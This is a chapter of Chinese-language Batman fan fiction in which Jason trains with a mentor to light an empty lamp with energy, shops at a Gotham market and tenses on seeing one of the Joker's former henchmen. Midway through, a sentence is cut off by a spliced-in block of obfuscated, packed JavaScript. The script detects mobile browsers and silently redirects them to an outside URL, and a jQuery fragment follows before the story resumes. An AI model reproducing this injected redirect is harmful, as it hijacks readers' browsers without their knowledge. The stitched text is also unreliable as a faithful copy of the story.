下午三点,杰森准时出现在工作间门口。
泰勒提德正站在工作台前,用一把细长的银勺搅拌着坩埚里的液体。液体是深紫色的,冒着细密的气泡,散发出一股类似薄荷和金属混合的气味。
“准时。”她说,没有抬头,“好习惯。”
她把勺子放在一边,从架子上取下一个东西——一个普通的玻璃油灯,黄铜底座,透明的灯罩。灯里没有油,也没有灯芯。
“今天的课程。”她把灯放在工作台空着的一侧,“用能量点亮它。”
杰森走过去,看着那盏灯。灯很干净,像刚从古董店买回来的装饰品。
“怎么点?”他问。
“和上午一样,集中注意力,引导能量。”泰勒提德说,“区别是上午的碗有指示剂,这盏灯是空的。你需要自己把能量注入进去,达到足以发光的浓度。”
她从抽屉里拿出一卷细铜线,剪下一段,绕在杰森右手手腕上。
“辅助工具升级了。”她说,“铜的传导性更好,但也更难控制。先从基础开始。”
杰森看着手腕上的铜线。线很细,绕了三圈,不紧,但能感觉到金属的凉意。
他闭上眼睛,试着集中注意力。
上午的感觉还在,那种细微的震动感。但这次加了铜线,震动变得更清晰,像有细小的电流在皮肤下流动。
“很好。”泰勒提德的声音在旁边响起,“现在想象那股能量从手腕流向指尖,然后从指尖流进灯里。”
杰森试着想象。他能感觉到能量在流动,但到了指尖就停住了,像遇到一堵看不见的墙。
“放松手指。”泰勒提德说,“紧张会阻塞流动。想象手指是空的管道,能量自然流过。”
杰森深吸一口气,慢慢吐出来,同时放松手指。
能量开始移动。很慢,但确实在移动。他感觉到指尖微微发热,然后那种感觉延伸出去,接触到灯的外壳。
灯没有反应。
“继续。”泰勒提德说,“能量不够。”
杰森皱眉,集中更多的注意力。手腕上的震动感增强,流过指尖的能量增多。他能感觉到能量进入灯的内部,在玻璃罩里盘旋,但没有发光,只是让灯摸起来稍微暖和了一点。
“不够。”泰勒提德又说。
“我知道。”杰森有点烦躁。他尝试调动更多的能量,但很快就感觉脑子发晕,像用力过猛。
“停。”泰勒提德说。
杰森睁开眼,喘了口气。灯还是老样子,没亮。
“正常。”泰勒提德说,“第一次尝试,能量输出不足百分之五。需要练习。”
她从架子上拿了个小沙漏,放在灯旁边。沙漏是玻璃的,里面的沙子是银白色的。
她说,“在这个沙漏漏完之前,让灯发出可见光。不用太亮,能看见就行。”
杰森看着沙漏。沙子已经开始流动,速度不快,但很稳定。
他重新闭上眼睛,再次尝试。
这次他调整了方法。不急着输出大量能量,而是试着维持一个稳定的流动。他能感觉到能量从手腕流出,经过手指,进入灯里。灯内部的温度在缓慢上升,但还不够发光。
沙子流下三分之一。
杰森开始感到疲惫。不是身体上的累,是精神上的,像连续做了几个小时数学题。但他没停,继续维持能量流动。
沙子流到一半。
灯里突然闪过一点微光。
非常微弱,像萤火虫的尾灯,一闪就消失了。
“有进步。”泰勒提德说,“继续。”
杰森咬紧牙关,继续输出能量。那种精神上的疲惫感越来越强,但他强迫自己集中注意力。
沙子流到三分之二。
灯里再次发光。这次持续了一秒,淡金色的光,勉强能看见。
“好。”泰勒提德说,“但还不够。需要稳定发光,不是闪烁。”
杰森没说话,全部注意力都在维持能量流动上。汗水从额头滑下来,滴在地板上。
沙子快流完了。
灯里的光第三次出现。这次持续了两秒,亮度比之前高,能清楚地看到灯罩被照亮。
然后沙子流完,最后一粒落下。
杰森松开控制,整个人晃了一下,扶住工作台才站稳。他喘着气,看着那盏灯。灯里的光已经消失了,但玻璃罩还残留着一点余温。
“及格。”泰勒提德说,“第一次尝试,能稳定输出两秒,可以了。”
她取下杰森手腕上的铜线,收进抽屉。
“现在休息十分钟。”她说,“能量练习消耗精神,需要恢复。”
杰森走到椅子边坐下,感觉脑子像被掏空了。他看着那盏灯,有点不敢相信自己刚才真的让它亮了。
泰勒提德倒了杯水递给他。
“喝。加了一点恢复剂。”
杰森接过杯子。水是温的,有股淡淡的甜味。他喝了几口,感觉精神好了一些。
“每天都要练?”他问。
“至少初期需要。”泰勒提德说,“直到你能在一分钟内点亮并维持三分钟不灭。”
她从工作台下面拿出一个笔记本,翻开,用笔在上面记录。杰森看到页面上已经有一些字迹,但距离太远看不清内容。
“你在写什么?”他问。
“训练日志。”泰勒提德说,“记录进度,调整方案。科学训练需要数据支持。”
她合上笔记本,放回原处。
“十分钟到了。”她说,“第二项内容,外出。”
杰森抬起头。
“外出?”
“对。”泰勒提德从外套口袋里摸出个东西——是那个铜盘,指针在微微颤动,“你需要接触正常环境。长期待在封闭空间不利于稳定。而且……”
她停顿了一下。
“而且什么?”
“而且我们需要采购。”泰勒提德说,“食物,日用品,还有你的衣服。你现在穿的是我的备用衣物,不合身。”
杰森低头看了看自己,确实不合身。
“去哪里?”他问。
“附近的市场。”泰勒提德说,“走路十分钟。小规模,不显眼。”
她走到墙边,从挂钩上取下两件深灰色的外套,扔给杰森一件。
“穿上。帽衫,有帽子。建议你把帽子戴起来。”
杰森接过外套。布料很厚实,但重量很轻。他穿上,拉上拉链,戴上帽子。
泰勒提德也穿上外套,从靴筒里摸出那把黄铜钥匙。
“记住几个规则。”她一边说一边走向出口,“第一,跟紧我。第二,别惹事。第三,如果感觉头晕或者不适,立刻告诉我。”
“不适指的是什么?”
“能量波动引起的症状。”泰勒提德推开隐藏门,走进外面的公寓,“头晕,耳鸣,视线模糊,或者感觉周围的东西在‘流动’。出现任何一项都说明需要休息。”
她打开公寓门,两人走出去。
楼道里很安静,只有他们的脚步声。下楼时遇到一个老太太,拎着购物袋往上走。她看了他们一眼,点点头,没说话。
走出楼门,杰森停了一下。
哥谭下午的天空是灰白色的,云层很厚,但没下雨。街道上有车辆驶过,行人不多,但也不算少。空气里有汽油、垃圾和远处快餐店混合的气味。
很熟悉。太熟悉了。
“走这边。”泰勒提德说,转向左边。
杰森跟上去。他低着头,帽檐遮住大半张脸。街道两边的建筑很旧,墙上满是涂鸦和剥落的油漆。几个年轻人靠在巷口抽烟,看见他们经过,吹了声口哨。
两人没理会,继续往前走。
市场在两条街外,是个露天区域,摆着十几个摊位。卖蔬菜水果的,卖廉价服装的,卖二手工具的。人比街上多些,声音嘈杂。
泰勒提德在一个水果摊前停下,挑了几个苹果和橙子。摊主是个胖男人,一边称重一边用眼角打量杰森。
“你弟弟?”他问泰勒提德。
“远房亲戚。”泰勒提德付钱,“来住几天。”
“哦。”摊主把水果装进袋子,“最近小心点,这附近不太平。昨晚东边仓库区出了事,听说有人死了。”
泰勒提德接过袋子:“听说了。谢谢提醒。”
她转
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317044|198969||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身走向下一个摊位,杰森跟在后面。
“死了人?”他低声问。
“哥谭每天都会死人。”泰勒提德说,“重点是别成为其中之一。”
她在服装摊前停下,挑了几件深色的T恤和长裤,比了比杰森的尺寸,付钱买下。
“还需要什么?”她问。
杰森想了想:“笔。笔记本。”
泰勒提德看了他一眼:“学习用品?”
“记录用。”杰森说,“你写了训练日志,我也该记点什么。”
泰勒提德点点头,走到卖文具的摊位,买了最普通的笔记本和圆珠笔。
采购结束,两人往回走。街道上的人开始多起来,下班时间快到了。
经过一个十字路口时,杰森突然停下。
马路对面,有两个人站在那里说话。一个高个子男人,穿着廉价的西装。另一个……
杰森认识他。或者说,曾经认识。
那是小丑的一个手下。不是核心成员,只是个跑腿的,但他记得那张脸。爆炸发生前,这个人也在仓库里,站在角落,脸上带着那种愚蠢的笑。
“杰伊。”泰勒提德的声音在旁边响起。
杰森回过神,发现自己正盯着那个人,拳头握紧了。
“走。”泰勒提德说,声音平静但不容拒绝。
她拉住杰森的手臂,转身走进旁边的小巷。巷子很窄,堆着垃圾箱,地面湿漉漉的。
走到一半,泰勒提德停下,松开手。
“呼吸。”她说。
杰森这才意识到自己一直屏着气。他深吸一口气,又慢慢吐出来,但手还在抖。
“认识的人?”泰勒提德问。
“算是。”杰森说,“以前见过。”
“以前。”泰勒提德重复这个词,“也就是说,现在没必要见。”
她转身继续往前走。杰森跟上去,这次没再回头。
回到公寓楼,上楼,进门。泰勒提德把采购的东西放在桌上,脱下外套挂好。
杰森站在客厅中间,没动。
“想问什么?”泰勒提德说。
“如果刚才我没听你的。”杰森说,“如果我去找那个人。你会怎么做?”
泰勒提德想了想。
“首先我会让你去。”她说,“选择权在你。但如果你去了,而且惹了麻烦,我会在你被抓住或者被杀之前把你打晕拖回来。然后取消所有外出许可,直到你学会冷静。”
她说得很直接,像在陈述事实。
杰森沉默了一会儿。
“他参与了。”他说,“那天。在仓库里。”
“我知道。”泰勒提德说,“但你现在的状态不适合处理这种事。情绪会干扰能量控制,而失控的能量会引来麻烦。”
她从袋子里拿出一个苹果,用刀切成两半,递给他一半。
“吃。补充血糖。”
杰森接过苹果,咬了一口。很甜,脆的。
“什么时候才适合?”他问。
“等你稳定了。”泰勒提德说,“等你不会因为看见一个人就发抖,不会因为愤怒而失控。等你学会用脑子而不是本能做事。”
她吃完自己的那半苹果,把果核扔进垃圾桶。
“现在去休息。晚上七点吃饭,之后自由活动。可以看书,可以练习,但不要过度。”
她走向隐藏门,又停下来,回头。
“另外,记录是好事。”她说,“但建议你从简单的内容开始。比如今天点亮了几秒灯,感觉如何。别写太多情绪化的东西,那会影响判断。”
门在她身后关上。
杰森站在客厅里,看着手里的苹果。又咬了一口,咀嚼,吞咽。
他走到窗边,看着外面的街道。天开始暗了,路灯陆续亮起。哥谭的夜晚又要开始了。
他摸了摸胸口。那里很平静,没有愤怒,没有恐惧,只有一点淡淡的疲惫。
他把苹果吃完,走向自己的房间。笔记本和笔放在床头柜上,崭新的。
他坐下,翻开笔记本第一页,拿起笔……他停顿了几秒,开始写:
[第一天。灯亮了。两秒。]